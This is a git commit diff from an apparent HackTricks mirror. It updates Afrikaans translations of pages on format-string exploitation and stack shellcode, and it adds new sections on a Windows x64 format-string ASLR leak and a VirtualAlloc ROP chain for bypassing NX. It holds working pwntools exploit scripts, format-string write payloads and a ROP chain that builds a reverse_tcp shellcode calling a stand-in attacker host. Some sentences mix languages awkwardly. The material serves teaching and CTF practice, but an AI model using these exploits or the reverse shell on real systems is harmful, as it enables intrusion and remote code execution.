mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/stack-shellcode/READ
This commit is contained in:
parent
44b0ebf9a4
commit
a062558951
@ -234,6 +234,7 @@
|
||||
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
|
@ -3,15 +3,15 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Basic Information
|
||||
## Basiese Inligting
|
||||
|
||||
In C **`printf`** is 'n funksie wat gebruik kan word om 'n **string** te **druk**. Die **eerste parameter** wat hierdie funksie verwag is die **rauwe teks met die formateerders**. Die **volgende parameters** wat verwag word, is die **waardes** om die **formateerders** uit die rauwe teks te **vervang**.
|
||||
In C **`printf`** is 'n funksie wat gebruik kan word om 'n string uit te druk. Die **eerste parameter** wat hierdie funksie verwag, is die **ruwe teks met die formateerders**. Die **volgende parameters** wat verwag word, is die **waardes** om die **formateerders** in die ruwe teks te **vervang**.
|
||||
|
||||
Ander kwesbare funksies is **`sprintf()`** en **`fprintf()`**.
|
||||
|
||||
Die kwesbaarheid verskyn wanneer 'n **aanvalle teks as die eerste argument** aan hierdie funksie gebruik word. Die aanvaller sal in staat wees om 'n **spesiale invoer te skep wat** die **printf formaat** string vermoëns misbruik om enige data in enige adres (leesbaar/skryfbaar) te lees en **te skryf**. Op hierdie manier kan hulle **arbitraire kode uitvoer**.
|
||||
Die kwesbaarheid verskyn wanneer 'n **aanvaller se teks as die eerste argument** aan hierdie funksie gebruik word. Die aanvaller sal in staat wees om 'n **spesiale invoer wat misbruik maak van** die **printf format** string-vaardighede om te lees en om **enige data by enige adres (leesbaar/skryfbaar) te skryf**. Op hierdie manier kan hulle **willekeurige kode uitvoer**.
|
||||
|
||||
#### Formatters:
|
||||
#### Formateerders:
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
%d —> Entire
|
||||
@ -24,7 +24,7 @@ Die kwesbaarheid verskyn wanneer 'n **aanvalle teks as die eerste argument** aan
|
||||
```
|
||||
**Voorbeelde:**
|
||||
|
||||
- Kw vulnerable voorbeeld:
|
||||
- Kwetsbare voorbeeld:
|
||||
```c
|
||||
char buffer[30];
|
||||
gets(buffer); // Dangerous: takes user input without restrictions.
|
||||
@ -52,28 +52,28 @@ fclose(output_file);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### **Toegang tot Pointers**
|
||||
### **Toegang tot aanwysers**
|
||||
|
||||
Die formaat **`%<n>$x`**, waar `n` 'n getal is, laat toe om aan printf aan te dui om die n parameter (van die stapel) te kies. So as jy die 4de param van die stapel met printf wil lees, kan jy doen:
|
||||
Die formaat **`%<n>$x`**, waar `n` 'n getal is, laat toe om aan printf aan te dui om die n-de parameter (van die stack) te kies. Dus, as jy die 4de parameter van die stack met printf wil lees, kan jy dit so doen:
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
en jy sou van die eerste tot die vierde parameter lees.
|
||||
|
||||
Of jy kan doen:
|
||||
Of jy kan dit so doen:
|
||||
```c
|
||||
printf("%4$x")
|
||||
```
|
||||
en lees direk die vierde.
|
||||
|
||||
Let op dat die aanvaller die `printf` **parameter beheer, wat basies beteken dat** sy invoer in die stapel gaan wees wanneer `printf` aangeroep word, wat beteken dat hy spesifieke geheue adresse in die stapel kan skryf.
|
||||
Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
|
||||
|
||||
> [!CAUTION]
|
||||
> 'n Aanvaller wat hierdie invoer beheer, sal in staat wees om **arbitraire adresse in die stapel by te voeg en `printf` te laat toegang tot hulle**. In die volgende afdeling sal verduidelik word hoe om hierdie gedrag te gebruik.
|
||||
> `n attacker wat hierdie input beheer, sal in staat wees om` **add arbitrary address in the stack and make `printf` access them**. In die volgende afdeling sal verduidelik word hoe om hierdie gedrag te gebruik.
|
||||
|
||||
## **Arbitraire Lees**
|
||||
## **Arbitrary Read**
|
||||
|
||||
Dit is moontlik om die formatter **`%n$s`** te gebruik om **`printf`** die **adres** wat in die **n posisie** geleë is, te laat kry, dit te volg en **dit te druk asof dit 'n string is** (druk totdat 'n 0x00 gevind word). So as die basisadres van die binêre **`0x8048000`** is, en ons weet dat die gebruiker se invoer in die 4de posisie in die stapel begin, is dit moontlik om die begin van die binêre te druk met:
|
||||
Dit is moontlik om die formatter **`%n$s`** te gebruik om **`printf`** die **address** te laat kry wat in die **n position** geleë is, dit te volg en **dit te print asof dit was 'n string** (print tot 'n 0x00 gevind word). Dus as die base address van die binary **`0x8048000`**, en ons weet dat die user input in die 4th position in die stack begin, is dit moontlik om die starting van die binary te print met:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -87,11 +87,11 @@ p.sendline(payload)
|
||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Let daarop dat jy nie die adres 0x8048000 aan die begin van die invoer kan plaas nie, omdat die string in 0x00 aan die einde van daardie adres gesny sal word.
|
||||
> Let wel dat jy nie die adres 0x8048000 aan die begin van die invoer kan plaas nie omdat die string 'n 0x00 aan die einde van daardie adres sal hê.
|
||||
|
||||
### Vind offset
|
||||
|
||||
Om die offset na jou invoer te vind, kan jy 4 of 8 bytes (`0x41414141`) stuur, gevolg deur **`%1$x`** en **verhoog** die waarde totdat jy die `A's` ontvang.
|
||||
Om die offset na jou invoer te vind, kan jy 4 of 8 bytes (`0x41414141`) stuur, gevolg deur **`%1$x`**, en die waarde **verhoog** totdat jy die `A's` terugkry.
|
||||
|
||||
<details>
|
||||
|
||||
@ -126,45 +126,45 @@ p.close()
|
||||
```
|
||||
</details>
|
||||
|
||||
### Hoe nuttig
|
||||
### How useful
|
||||
|
||||
Arbitraire lees kan nuttig wees om:
|
||||
Arbitrary reads kan nuttig wees vir:
|
||||
|
||||
- **Dump** die **binaire** uit geheue
|
||||
- **Toegang tot spesifieke dele van geheue waar sensitiewe** **inligting** gestoor word (soos kanaries, versleuteling sleutels of persoonlike wagwoorde soos in hierdie [**CTF-uitdaging**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
- **Dump** die **binary** vanaf geheue
|
||||
- **Access specific parts of memory where sensitive** **info** is stored (soos canaries, encryption keys of custom passwords soos in hierdie [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
|
||||
## **Arbitraire Skryf**
|
||||
## **Arbitrary Write**
|
||||
|
||||
Die formatter **`%<num>$n`** **skryf** die **aantal geskryfde bytes** in die **aangegeven adres** in die \<num> param in die stapel. As 'n aanvaller soveel karakters kan skryf as wat hy wil met printf, sal hy in staat wees om **`%<num>$n`** 'n arbitraire getal in 'n arbitraire adres te laat skryf.
|
||||
Die formatter **`%<num>$n`** **skryf** die **aantal geskryfde bytes** na die **aangewese adres** in die <num> parameter op die stack. As 'n attacker soveel karakters kan skryf as hy wil met printf, sal hy in staat wees om **`%<num>$n`** 'n arbitrary getal na 'n arbitrary adres te laat skryf.
|
||||
|
||||
Gelukkig, om die getal 9999 te skryf, is dit nie nodig om 9999 "A"s by die invoer te voeg nie; om dit te doen, is dit moontlik om die formatter **`%.<num-write>%<num>$n`** te gebruik om die getal **`<num-write>`** in die **adres aangedui deur die `num` posisie** te skryf.
|
||||
Gelukkig hoef jy nie 9999 "A"s by die invoer te voeg om die getal 9999 te skryf nie; dit is moontlik om die formatter **`%.<num-write>%<num>$n`** te gebruik om die getal **`<num-write>`** in die **adres waarna die `num` posisie wys** te skryf.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
Let wel, dit is gewoonlik nodig om 'n adres soos `0x08049724` (wat 'n GROOT getal is om in een keer te skryf) te skryf, **dit word `$hn`** gebruik in plaas van `$n`. Dit maak dit moontlik om **slegs 2 Bytes** te skryf. Daarom word hierdie operasie twee keer uitgevoer, een vir die hoogste 2B van die adres en 'n ander keer vir die laagste.
|
||||
Neem egter kennis dat gewoonlik, om 'n address' soos `0x08049724` (wat 'n HUGE number is om in een keer te skryf) te skryf, **word `$hn`** in plaas van `$n` gebruik. Dit maak dit moontlik om **slegs 2 Bytes** te skryf. Daarom word hierdie operasie twee keer uitgevoer: een keer vir die hoogste 2B van die address en nog 'n keer vir die laagste.
|
||||
|
||||
Hierdie kwesbaarheid maak dit moontlik om **enigiets in enige adres te skryf (arbitraire skryf).**
|
||||
Dus laat hierdie kwesbaarheid toe om **enigiets in enige address te skryf (arbitrary write).**
|
||||
|
||||
In hierdie voorbeeld is die doel om die **adres** van 'n **funksie** in die **GOT** tabel wat later aangeroep gaan word, te **oorwrite**. Alhoewel dit ander arbitraire skryf na exec tegnieke kan misbruik:
|
||||
In hierdie voorbeeld is die doel om die **address** van 'n **function** in die **GOT**-tabel wat later aangeroep gaan word, te **oor skryf**. Alhoewel dit ook ander arbitrary write to exec-tegnieke kan misbruik:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/
|
||||
{{#endref}}
|
||||
|
||||
Ons gaan 'n **funksie** **oorwrite** wat sy **argumente** van die **gebruiker** **ontvang** en dit na die **`system`** **funksie** **wys**.\
|
||||
Soos genoem, om die adres te skryf, is gewoonlik 2 stappe nodig: Jy **skryf eers 2Bytes** van die adres en dan die ander 2. Om dit te doen, word **`$hn`** gebruik.
|
||||
Ons gaan 'n **function** oor skryf wat sy **arguments** van die **user** ontvang en dit na die **`system`** **function** wys.\
|
||||
Soos vermeld, om die address te skryf is daar gewoonlik 2 stappe nodig: eers skryf jy 2 Bytes van die address en dan die ander 2. Hiervoor word **`$hn`** gebruik.
|
||||
|
||||
- **HOB** word genoem vir die 2 hoër bytes van die adres
|
||||
- **LOB** word genoem vir die 2 laer bytes van die adres
|
||||
- **HOB** verwys na die 2 hoër bytes van die address
|
||||
- **LOB** verwys na die 2 laer bytes van die address
|
||||
|
||||
Dan, as gevolg van hoe die formaat string werk, moet jy **eers die kleinste** van \[HOB, LOB] skryf en dan die ander een.
|
||||
Dan, as gevolg van hoe format string werk, moet jy **eers die kleinste** van \[HOB, LOB] skryf en dan die ander een.
|
||||
|
||||
As HOB < LOB\
|
||||
If HOB < LOB\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
||||
As HOB > LOB\
|
||||
If HOB > LOB\
|
||||
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||||
|
||||
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
|
||||
@ -173,14 +173,14 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
|
||||
```
|
||||
### Pwntools-sjabloon
|
||||
|
||||
Jy kan 'n **sjabloon** vind om 'n exploit voor te berei vir hierdie soort kwesbaarheid in:
|
||||
Jy kan 'n **sjabloon** vind om 'n exploit voor te berei vir hierdie tipe kwesbaarheid in:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
format-strings-template.md
|
||||
{{#endref}}
|
||||
|
||||
Of hierdie basiese voorbeeld van [**hier**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
Of hierdie basiese voorbeeld van [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -199,20 +199,62 @@ p.sendline('/bin/sh')
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
## Formaat Strings na BOF
|
||||
## Format Strings to BOF
|
||||
|
||||
Dit is moontlik om die skryf aksies van 'n formaat string kwesbaarheid te misbruik om **in adresse van die stapel te skryf** en 'n **buffer overflow** tipe kwesbaarheid te ontgin.
|
||||
Dit is moontlik om die skryf-aksies van 'n format string kwetsbaarheid te misbruik om **in adresse van die stack te skryf** en 'n **buffer overflow** tipe kwesbaarheid uit te buit.
|
||||
|
||||
## Ander Voorbeelde & Verwysings
|
||||
|
||||
## Windows x64: Format-string leak om ASLR te omseil (no varargs)
|
||||
|
||||
Op Windows x64 word die eerste vier integer/pointer parameters in registers deurgegee: RCX, RDX, R8, R9. In baie foutiewe call-sites word die attacker-controlled string as die format argument gebruik, maar geen variadic arguments word voorsien nie, byvoorbeeld:
|
||||
```c
|
||||
// keyData is fully controlled by the client
|
||||
// _snprintf(dst, len, fmt, ...)
|
||||
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
|
||||
```
|
||||
Omdat geen variadiese argumente oorgedra word nie, sal enige conversie soos "%p", "%x", "%s" die CRT veroorsaak om die volgende variadiese argument uit die toepaslike register te lees. Met die Microsoft x64 calling convention kom die eerste sodanige lees vir "%p" uit R9. Watter tydelike waarde ook al in R9 by die call-site is, sal uitgeprint word. In praktyk this often leaks a stable in-module pointer (e.g., a pointer to a local/global object previously placed in R9 by surrounding code or a callee-saved value), wat gebruik kan word om die module base te herstel en ASLR te omseil.
|
||||
|
||||
Praktiese werkvloei:
|
||||
|
||||
- Inspuit 'n onskadelike formaat soos "%p " heel aan die begin van die deur die aanvaller beheerste string sodat die eerste konversie uitgevoer word voordat enige filtering plaasvind.
|
||||
- Vang die leaked pointer, identifiseer die statiese offset van daardie objek binne die module (deur een keer te reverseer met simbole of 'n lokale kopie), en herstel die image base as `leak - known_offset`.
|
||||
- Herbruik daardie base om absolute adresse vir ROP gadgets en IAT entries op afstand te bereken.
|
||||
|
||||
Voorbeeld (verkorte python):
|
||||
```python
|
||||
from pwn import remote
|
||||
|
||||
# Send an input that the vulnerable code will pass as the "format"
|
||||
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
|
||||
io = remote(HOST, 4141)
|
||||
# ... drive protocol to reach the vulnerable snprintf ...
|
||||
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
|
||||
base = leaked - 0x20660 # module base = leak - offset
|
||||
print(hex(leaked), hex(base))
|
||||
```
|
||||
Notes:
|
||||
- Die presiese offset om af te trek word een keer gevind tydens plaaslike reversing en daarna hergebruik (dieselfde binary/weergawe).
|
||||
- As "%p" nie 'n geldige pointer op die eerste poging afdruk nie, probeer ander specifiers ("%llx", "%s") of meerdere konversies ("%p %p %p") om ander argument registers/stack te bemonster.
|
||||
- Hierdie patroon is spesifiek vir die Windows x64 calling convention en printf-family implementasies wat nie-bestaande varargs uit registers haal wanneer die format string dit versoek.
|
||||
|
||||
Hierdie tegniek is uiters nuttig om ROP te bootstrap op Windows services wat met ASLR saamgestel is en geen voor die hand liggende memory disclosure primitives het nie.
|
||||
|
||||
## Other Examples & References
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
|
||||
- 32 bit, geen relro, geen canary, nx, geen pie, basiese gebruik van formaat strings om die vlag van die stapel te lek (geen behoefte om die uitvoeringsvloei te verander)
|
||||
- 32 bit, no relro, no canary, nx, no pie, basiese gebruik van format strings om die flag vanaf die stack te leak (geen behoefte om die uitvoeringvloei te verander nie)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32 bit, relro, geen canary, nx, geen pie, formaat string om die adres `fflush` met die win funksie (ret2win) te oorskryf
|
||||
- 32 bit, relro, no canary, nx, no pie, format string om die adres van `fflush` oor te skryf met die win-funksie (ret2win)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
|
||||
- 32 bit, relro, geen canary, nx, geen pie, formaat string om 'n adres binne main in `.fini_array` te skryf (sodat die vloei een keer meer terugloop) en die adres na `system` in die GOT tabel wat na `strlen` wys te skryf. Wanneer die vloei terug na main gaan, sal `strlen` met gebruikersinvoer uitgevoer word en na `system` wys, dit sal die oorgedraagde opdragte uitvoer.
|
||||
- 32 bit, relro, no canary, nx, no pie, format string om 'n adres binne main in `.fini_array` te skryf (sodat die vloei nog 1 keer teruglus) en die adres na `system` in die GOT-tabel te skryf wat na `strlen` wys. Wanneer die vloei teruggaan na main, word `strlen` met gebruikersinvoer uitgevoer en, aangesien dit na `system` wys, sal dit die deurgegewe opdragte uitvoer.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Basiese Inligting
|
||||
|
||||
**Stack shellcode** is 'n tegniek wat in **binary exploitation** gebruik word waar 'n aanvaller shellcode na 'n kwesbare program se stapel skryf en dan die **Instruction Pointer (IP)** of **Extended Instruction Pointer (EIP)** aanpas om na die ligging van hierdie shellcode te wys, wat dit laat uitvoer. Dit is 'n klassieke metode wat gebruik word om ongemagtigde toegang te verkry of arbitrêre opdragte op 'n teikenstelsel uit te voer. Hier is 'n uiteensetting van die proses, insluitend 'n eenvoudige C voorbeeld en hoe jy 'n ooreenstemmende exploit met Python en **pwntools** kan skryf.
|
||||
**Stack shellcode** is 'n tegniek wat in **binary exploitation** gebruik word waar 'n aanvaller shellcode na 'n kwesbare program se stack skryf en dan die **Instruction Pointer (IP)** of **Extended Instruction Pointer (EIP)** wysig om na die ligging van hierdie shellcode te wys, wat veroorsaak dat dit uitgevoer word. Dit is 'n klassieke metode wat gebruik word om ongemagtigde toegang te verkry of willekeurige opdragte op 'n teikenstelsel uit te voer. Hier is 'n uiteensetting van die proses, insluitend 'n eenvoudige C-voorbeeld en hoe jy 'n ooreenstemmende exploit met Python en **pwntools** kan skryf.
|
||||
|
||||
### C Example: A Vulnerable Program
|
||||
### C Voorbeeld: 'n Kwesbare Program
|
||||
|
||||
Let's start with a simple example of a vulnerable C program:
|
||||
Kom ons begin met 'n eenvoudige voorbeeld van 'n kwesbare C-program:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -24,22 +24,22 @@ printf("Returned safely\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Hierdie program is kwesbaar vir 'n buffer oorgang as gevolg van die gebruik van die `gets()` funksie.
|
||||
Hierdie program is kwesbaar vir 'n buffer overflow as gevolg van die gebruik van die `gets()` funksie.
|
||||
|
||||
### Kompilasie
|
||||
### Kompilering
|
||||
|
||||
Om hierdie program te kompileer terwyl verskeie beskermings gedeaktiveer word (om 'n kwesbare omgewing te simuleer), kan jy die volgende opdrag gebruik:
|
||||
Om hierdie program te kompileer terwyl verskeie beskermings gedeaktiveer word (om 'n kwesbare omgewing na te boots), kan jy die volgende opdrag gebruik:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-fno-stack-protector`: Deaktiveer stapelbeskerming.
|
||||
- `-z execstack`: Maak die stapel uitvoerbaar, wat nodig is om shellcode wat op die stapel gestoor is, uit te voer.
|
||||
- `-no-pie`: Deaktiveer Posisie Onafhanklike Uitvoerbare, wat dit makliker maak om die geheueadres te voorspel waar ons shellcode geleë sal wees.
|
||||
- `-m32`: Kompiler die program as 'n 32-bis uitvoerbare, dikwels gebruik vir eenvoud in eksploitontwikkeling.
|
||||
- `-fno-stack-protector`: Skakel stack protection af.
|
||||
- `-z execstack`: Maak die stack uitvoerbaar, wat nodig is om shellcode wat op die stack gestoor is uit te voer.
|
||||
- `-no-pie`: Skakel Position Independent Executable (PIE) af, wat dit makliker maak om die geheueadres te voorspel waar ons shellcode sal wees.
|
||||
- `-m32`: Kompileer die program as 'n 32-bit uitvoerbare, dikwels gebruik vir eenvoud in exploit development.
|
||||
|
||||
### Python Exploit using Pwntools
|
||||
### Python Exploit met Pwntools
|
||||
|
||||
Hier is hoe jy 'n eksploit in Python kan skryf met **pwntools** om 'n **ret2shellcode** aanval uit te voer:
|
||||
Hier is hoe jy 'n exploit in Python met **pwntools** kan skryf om 'n **ret2shellcode** attack uit te voer:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -66,26 +66,98 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Hierdie skrip bou 'n payload wat bestaan uit 'n **NOP slide**, die **shellcode**, en dan oorskryf dit die **EIP** met die adres wat na die NOP slide wys, wat verseker dat die shellcode uitgevoer word.
|
||||
Hierdie skrip bou 'n payload wat bestaan uit 'n **NOP slide**, die **shellcode**, en oorskryf dan die **EIP** met die adres wat na die NOP slide wys, wat verseker dat die shellcode uitgevoer word.
|
||||
|
||||
Die **NOP slide** (`asm('nop')`) word gebruik om die kans te verhoog dat uitvoering "gly" in ons shellcode, ongeag die presiese adres. Pas die `p32()` argument aan na die beginadres van jou buffer plus 'n offset om in die NOP slide te land.
|
||||
Die **NOP slide** (`asm('nop')`) word gebruik om die kans te vergroot dat die uitvoering na ons shellcode sal "slide" ongeag die presiese adres. Stel die `p32()` argument aan na die beginadres van jou buffer plus 'n offset om in die NOP slide te beland.
|
||||
|
||||
## Beskermings
|
||||
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **moet gedeaktiveer word** vir die adres om betroubaar te wees oor uitvoerings of die adres waar die funksie gestoor sal word sal nie altyd dieselfde wees nie en jy sal 'n lek nodig hê om uit te vind waar die win funksie gelaai is.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) moet ook gedeaktiveer word of die gecompromitteerde EIP terugadres sal nooit gevolg word nie.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stapel** beskerming sal die uitvoering van die shellcode binne die stapel voorkom omdat daardie streek nie uitvoerbaar sal wees nie.
|
||||
Op moderne Windows is die stack nie-uitvoerbaar nie (DEP/NX). 'n Algemene manier om steeds stack-resident shellcode ná 'n stack BOF uit te voer, is om 'n 64-bit ROP-ketting te bou wat VirtualAlloc (of VirtualProtect) vanaf die module Import Address Table (IAT) aanroep om 'n area van die stack uitvoerbaar te maak en dan terug te keer na die shellcode wat ná die ketting aangeheg is.
|
||||
|
||||
Key points (Win64 calling convention):
|
||||
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
|
||||
- RCX = lpAddress → kies 'n adres in die huidige stack (bv. RSP) sodat die nuut-geallokeerde RWX-streek oorvleuel met jou payload
|
||||
- RDX = dwSize → groot genoeg vir jou ketting + shellcode (bv. 0x1000)
|
||||
- R8 = flAllocationType = MEM_COMMIT (0x1000)
|
||||
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
|
||||
- Return directly into the shellcode placed right after the chain.
|
||||
|
||||
Minimal strategy:
|
||||
1) Leak 'n module base (bv. via 'n format-string, object pointer, ens.) om absolute gadget- en IAT-adresse onder ASLR te bereken.
|
||||
2) Vind gadgets om RCX/RDX/R8/R9 te laai (pop- of mov/xor-gebaseerde reekse) en 'n call/jmp [VirtualAlloc@IAT]. As jy nie direkte pop r8/r9 het nie, gebruik aritmetiese gadgets om konstantes te sintetiseer (bv. stel r8=0 en tel herhaaldelik r9 by met 0x40 veertig keer om 0x1000 te bereik).
|
||||
3) Plaas stage-2 shellcode onmiddellik na die ketting.
|
||||
|
||||
Example layout (conceptual):
|
||||
```
|
||||
# ... padding up to saved RIP ...
|
||||
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
|
||||
POP_R9_RET; 0x40
|
||||
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
|
||||
POP_R8_RET; 0x1000
|
||||
# RCX = &stack (lpAddress)
|
||||
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
|
||||
# RDX = size (dwSize)
|
||||
POP_RDX_RET; 0x1000
|
||||
# Call VirtualAlloc via the IAT
|
||||
[IAT_VirtualAlloc]
|
||||
# New RWX memory at RCX — execution continues at the next stack qword
|
||||
JMP_SHELLCODE_OR_RET
|
||||
# ---- stage-2 shellcode (x64) ----
|
||||
```
|
||||
Met 'n beperkte gadget-stel kan jy registerwaardes indirek saamstel, byvoorbeeld:
|
||||
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → stel r9 van rbx, maak r8 nul, en kompenseer die stack met 'n rommel qword.
|
||||
- xor rbx, rsp; ret → laai rbx met die huidige stack pointer.
|
||||
- push rbx; pop rax; mov rcx, rax; ret → skuif 'n RSP-afgeleide waarde na RCX.
|
||||
|
||||
Pwntools-voorbeeld (gegee 'n bekende base en gadgets):
|
||||
```python
|
||||
from pwn import *
|
||||
base = 0x7ff6693b0000
|
||||
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
|
||||
rop = b''
|
||||
# r9 = 0x40
|
||||
rop += p64(base+POP_RBX_RET) + p64(0x40)
|
||||
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
|
||||
# rcx = rsp
|
||||
rop += p64(base+POP_RBX_RET) + p64(0)
|
||||
rop += p64(base+XOR_RBX_RSP_RET)
|
||||
rop += p64(base+PUSH_RBX_POP_RAX_RET)
|
||||
rop += p64(base+MOV_RCX_RAX_RET)
|
||||
# r8 = 0x1000 via arithmetic if no pop r8
|
||||
for _ in range(0x1000//0x40):
|
||||
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
|
||||
# rdx = 0x1000 (use any available gadget)
|
||||
rop += p64(base+POP_RDX_RET) + p64(0x1000)
|
||||
# call VirtualAlloc and land in shellcode
|
||||
rop += p64(IAT_VirtualAlloc)
|
||||
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
|
||||
```
|
||||
Wenke:
|
||||
- VirtualProtect werk soortgelyk as dit verkieslik is om 'n bestaande buffer RX te maak; die parameterorde is anders.
|
||||
- As die stack-ruimte beperk is, ken RWX elders toe (RCX=NULL) en jmp na daardie nuwe streek in plaas daarvan om die stack te hergebruik.
|
||||
- Reken altyd op gadgets wat RSP aanpas (e.g., add rsp, 8; ret) deur junk qwords in te voeg.
|
||||
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **moet gedeaktiveer word** sodat die adres oor uitvoerings heen betroubaar is; anders sal die adres waar die funksie gestoor word nie altyd dieselfde wees nie en jy sal 'n leak nodig hê om uit te vind waar die win function gelaai is.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) moet ook gedeaktiveer word, anders sal die gekompromitteerde EIP return address nooit gevolg word nie.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** beskerming sal die uitvoering van die shellcode binne die stack verhinder omdat daardie gebied nie uitvoerbaar sal wees nie.
|
||||
|
||||
## Ander Voorbeelde & Verwysings
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
||||
- 64bit, ASLR met stapel adreslek, skryf shellcode en spring daarna
|
||||
- 64bit, ASLR met stack address leak, skryf shellcode en spring daarheen
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
||||
- 32 bit, ASLR met stapellek, skryf shellcode en spring daarna
|
||||
- 32-bit, ASLR met stack leak, skryf shellcode en spring daarheen
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
||||
- 32 bit, ASLR met stapellek, vergelyking om oproep na exit() te voorkom, oorskryf veranderlike met 'n waarde en skryf shellcode en spring daarna
|
||||
